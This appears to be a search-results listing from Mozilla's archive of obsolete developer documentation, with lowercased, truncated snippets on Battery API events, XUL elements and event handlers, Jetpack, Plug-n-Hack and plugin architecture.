... example navigator.getbattery().then(function(battery) { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); battery.addeventlistener('dischargingtimechange', function() { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
levelchange - Archive of obsolete content
the levelchange event is fired when the level attribute of the battery api has changed.
... general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
... example navigator.getbattery().then(function(battery) { console.log("battery level: " + battery.level * 100 + " %"); battery.addeventlistener('levelchange', function() { console.log("battery level: " + battery.level * 100 + " %"); }); }); related events chargingchange chargingtimechange dischargingtimechange ...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
it also sends an event to the data binder module.
...another approach is to request an html page in the iframe and inside this page (requested data), set the onload event to callback a function notifying the parent document (originator).
...to demonstrate how the callback mechanism is implemented, imagine the following html page loaded into the iframe as a result of a request (retrievedata method requested the html file in to be loaded in the iframe): <body onload="top.iframecallback(document);" > <mydata> this is the content that comes from the server </mydata> </body> note that when the page is loaded into the iframe, the onload event is fired and the parent.iframecallback function is called in the context of the parent document (the originator).
Visualizing an audio spectrum - Archive of obsolete content
the function handling the loadedmetadata event stores the metadata of the audio element in global variables; the function for the mozaudioavailable event does an fft of the samples and displays them in a canvas.
... ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] ...
...t(0,0, canvas.width, canvas.height); for (var i = 0; i < fft.spectrum.length; i++ ) { // multiply spectrum by a zoom value magnitude = fft.spectrum[i] * 4000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(bu...
Selection - Archive of obsolete content
features can get, set, and listen for selection events in html or plain text.
...jetpack.import.future("selection");jetpack.selection.text = 'hello';jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)this method allows you to execute an event function when a selection is made.
...function adding a selection event jetpack.selection.onselection( fn ); removal of a selection event jetpack.selection.onselection.unbind( fn ); verbose example the following example will bold the html that you select.
Selection - Archive of obsolete content
features can get, set, and listen for selection events in html or plain text.
...jetpack.import.future("selection"); jetpack.selection.text = 'hello'; jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)this method allows you to execute an event function when a selection is made.
...function adding a selection event jetpack.selection.onselection( fn ); removal of a selection event jetpack.selection.onselection.unbind( fn ); verbose example the following example will bold the html that you select.
Selection - Archive of obsolete content
ArchiveMozillaJetpackdocsUISelection
features can get, set, and listen for selection events in html or plain text.
...jetpack.import.future("selection"); jetpack.selection.text = 'hello'; jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)this method allows you to execute an event function when a selection is made.
...function adding a selection event jetpack.selection.onselection( fn ); removal of a selection event jetpack.selection.onselection.unbind( fn ); verbose example the following example will bold the html that you select.
Plug-n-Hack Phase1 - Archive of obsolete content
this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the url of the tool manifest.
... for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
... the configuration document should then listen for a number of other events: configuresectoolstarted - this notifies the document that the browser is processing the configuration; if this event is not received within a reasonable amount of time after the configuresectool event has been fired, you might want to warn the user that pnh does not seem to be supported by this browser (perhaps prompting them to install the appropriate addon).
Plugin Architecture - Archive of obsolete content
sequence of events in content a content node for a plugin dom element gets created in bindtotree (usually) or another function, it calls loadobject loadobject either notices directly that it is dealing with a plugin, or it starts a network request and notices this in onstartrequest when it realizes that, it tries to create a frame, if anotify is true and no frame exists yet if a frame exists now, it is ask...
...that function will post an event and when that fires, asks the frame to instantiate the plugin.
... (the event is necessary because by the time hasnewframe is called, the frame isn't fully set up yet) in layout note: some of this should move to content an instance owner is created the window passed to the plugin is adjusted (the npwindow, http://devedge-temp.mozilla.org/libr...nt.html#999221) the plugin host is asked to instantiate the plugin this will call back to the instance owner / the object frame in order to create a widget to draw to (if the plugin is not windowless) nsplugininstanceowner::setwindow setwindow is called on the plugin ...
Space Manager Detailed Design - Archive of obsolete content
space manager instances come and go pretty frequently, and this recycler prevents excessive heap allocations and the performance penalties associated with it.
...this method deletes all of the space mangers in the recycler,and prevents further recycling.
... check if the occupied space rect (adjusted) is empty, if so, return an error (note: this could be done earlier, or prevented by the caller) allocate a new bandrect instance with the rect and frame as constructor arguments, and insert it into the collection via insertbandrect insertbandrect: internal method to insert a band rect into the bandlist in the correct location.
Supporting private browsing mode - Archive of obsolete content
} }; canceling shutting off private browsing mode extensions can prevent private browsing mode from being shut off.
... an extension might wish to do this if it's currently in the middle of an operation that prevents safely turning off private browsing (such as a database update operation, for example).
... we are leaving the private mode /* you should display some user interface here */ asubject.data = true; // cancel the operation } } }, "private-browsing-cancel-vote", false); note: a well-mannered extension should display some sort of user interface to indicate that private browsing mode will be kept on, and possibly offer the option to cancel whatever operation is preventing the extension from allowing private browsing to be shut off.
Tuning Pageload - Archive of obsolete content
content.interrupt.parsing this preference, when true, means that the content sink can tell the parser to stop for now and return to the event loop, which allows layout and painting to happen.
...the decision is based on whether there were any user events on the relevant widget in the last content.switch.threshold microseconds.
...this is an optimization designed to prevent long text from ending up being o(n^2).
image.onload - Archive of obsolete content
« xul reference home image.onload type: script code this event handler will be called on the image element when the image has finished loading.
...if you change the image, the event will fire again when the new image loads.
... this event will not bubble up the element tree.
onchange - Archive of obsolete content
« xul reference home overview an onchange attribute is an event listener to the object for the event change.
... a change event is fired in different ways for different xul input elements as listed below: onchange type: script code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the script context at this point can only access the following things: global values/functions i.e.
... window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> ...
oninput - Archive of obsolete content
« xul reference home oninput type: script code this event is sent when a user enters text in a textbox.
... this event is only called when the text displayed would change, thus it is not called when the user presses non-displayable keys.
...--> <script language="javascript"> function setlabel(txtbox){ document.getelementbyid('lbl').value = txtbox.value; } </script> <label id="lbl"/> <textbox oninput="setlabel(this);"/> this is similar to the onkeypress event used in html documents.
textbox.onblur - Archive of obsolete content
« xul reference home onblur type: script code this event is sent when a textbox loses keyboard focus.
... note: the behavior of this event has evolved over time.
...as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the behavior of all other event handlers.
textbox.onfocus - Archive of obsolete content
« xul reference home onfocus type: script code this event is sent when a textbox receives keyboard focus.
... note: the behavior of this event has evolved over time.
...as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the behavior of all other event handlers.
findbar - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width browser type: browser element lets you set an...
... possible values are: find_normal (0): normal find find_typeahead (1): typeahead find find_links (2): link find methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupname...
...spaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata close() return type: no return value closes the notification or findbar and removes it from its enclosing notificationbox or findbar.
Introduction to XUL - Archive of obsolete content
this linkage can be accomplished by including javascript in the xul, or by application code which walks the content model after it has been built from xul, and hooks up event listeners.
... javascript is most safely kept in a separate file and included in the xul file <html:script language="javascript" src="our.js"/> or relegated to the contents of a cdata section, to prevent the xml parser from choking on javascript which may look like xml content (a < character, for instance.) <html:script type="application/javascript"> <![cdata[ function lesser(a,b) { return a < b ?
... other infrastructure widgets may have javascript event handlers just as in html, and are tied together using javascript and broadcaster nodes.
Popup Guide - Archive of obsolete content
events when popups are opened or closed the popupshowing and popupshown events are fired when a menu or popup is opened.
... the popuphiding and the popuphidden events are fired when a menu or popup is closed.
... for information about these events, see popup events.
Sorting and filtering a custom tree view - Archive of obsolete content
="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"> <treecols> <treecol id="name" label="name" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator" sortdirection="ascen...
...this is useful if this is an editable table //to prevent the user from losing the row they edited var topvisiblerow = null; if (table) { topvisiblerow = gettopvisiblerow(); } if (data == null) { //put object loading code here.
...for strings, lowercases them function prepareforcomparison(o) { if (typeof o == "string") { return o.tolowercase(); } return o; } function gettopvisiblerow() { return tree.treeboxobject.getfirstvisiblerow(); } function settopvisiblerow(topvisiblerow) { return tree.treeboxobject.scrolltorow(topvisiblerow); } function inputfilter(event) { //do this now rather than doing it at every comparison var value = prepareforcomparison(event.target.value); setfilter(value); document.getelementbyid("clearfilter").disabled = value.length == 0; } function clearfilter() { document.getelementbyid("clearfilter").disabled = true; var filterelement = document.getelementbyid("filter"); filterelement.focus(); filterelement.value = ""; set...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
just add code like this to your overlay: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" oncommand="myextension.ontoolbarbuttoncommand(event);"/> </toolbarpalette> notes: the id of the palette (browsertoolbarpalette in the example) depends on the window (the parent window of the toolbar you wish to insert a button).
... onclick="checkformiddleclick(this, event)" you can also handle middle-click and right-click using onclick handler and check event.button in it like this: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" onclick="myextension.onclick(event);"/> </toolbarpalette> onclick: function(event) { switch(event.button) { case 0: // left click ...
... let button = doc.createelement("toolbarbutton"); button.setattribute("id", button_id); button.setattribute("label", "replace bookmark"); button.setattribute("class", "toolbarbutton-1 chromeclass-toolbar-additional"); button.setattribute("tooltiptext", "replace an existing bookmark"); button.style.liststyleimage = "url(" + icon + ")"; button.addeventlistener("command", main.action, false); toolbox.palette.appendchild(button); this code is thanks to dgutov and is seen in full context at his repository here at github: dgutov / bmreplace / bootstrap.js.
Introduction to XBL - Archive of obsolete content
the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descriptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descriptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements.
... events: events, such as mouse clicks and keypresses that the element will respond to.
...in addition new events can be defined.
Tree Box Objects - Archive of obsolete content
this makes it easy to pass event coordinates directly to these functions, as in the following example of the getcellat() function.
... example 2 : source view <script> function updatefields(event){ var row = {}, column = {}, part = {}; var tree = document.getelementbyid("thetree"); var boxobject = tree.boxobject; boxobject.queryinterface(components.interfaces.nsitreeboxobject); boxobject.getcellat(event.clientx, event.clienty, row, column, part); if (column.value && typeof column.value != "string") column.value = column.value.id; document.getelementbyid("row").value = row.value; document.getelementbyid("column").value = column.value; document.getelementbyid("part").value = part.value; } </script> <tree id="thetree" flex="1" onmousemove="updatefields(event);"> <treecols> <treecol id="utensil" label="utensil" primary="true" flex="1"/> <treecol id="count" label="count" flex="1"/> </treecol...
...the row is the index of the row the mouse is over, since we call it with the event coordinates of a mousemove event.
action - Archive of obsolete content
examples example needed attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelem...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
assign - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
bbox - Archive of obsolete content
ArchiveMozillaXULbbox
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top,...
... uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagna...
...me(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
binding - Archive of obsolete content
properties object, predicate, subject examples fixme: (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(),...
... appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdat...
bindings - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
box - Archive of obsolete content
ArchiveMozillaXULbox
examples <box orient="horizontal"> <label value="zero"/> <box orient="vertical"> <label value="one"/> <label value="two"/> </box> <box orient="horizontal"> <label value="three"/> <label value="four"/> </box> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements vbox, hbox ...
broadcasterset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, templa...
...te, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyc...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
column - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, rows, row ...
columns - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, column, rows, row.
conditions - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
content - Archive of obsolete content
propiedades tag, uri ejemplos (no son necesarios) atributos inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
... métodos inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata relacionados tbd ...
deck - Archive of obsolete content
ArchiveMozillaXULdeck
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
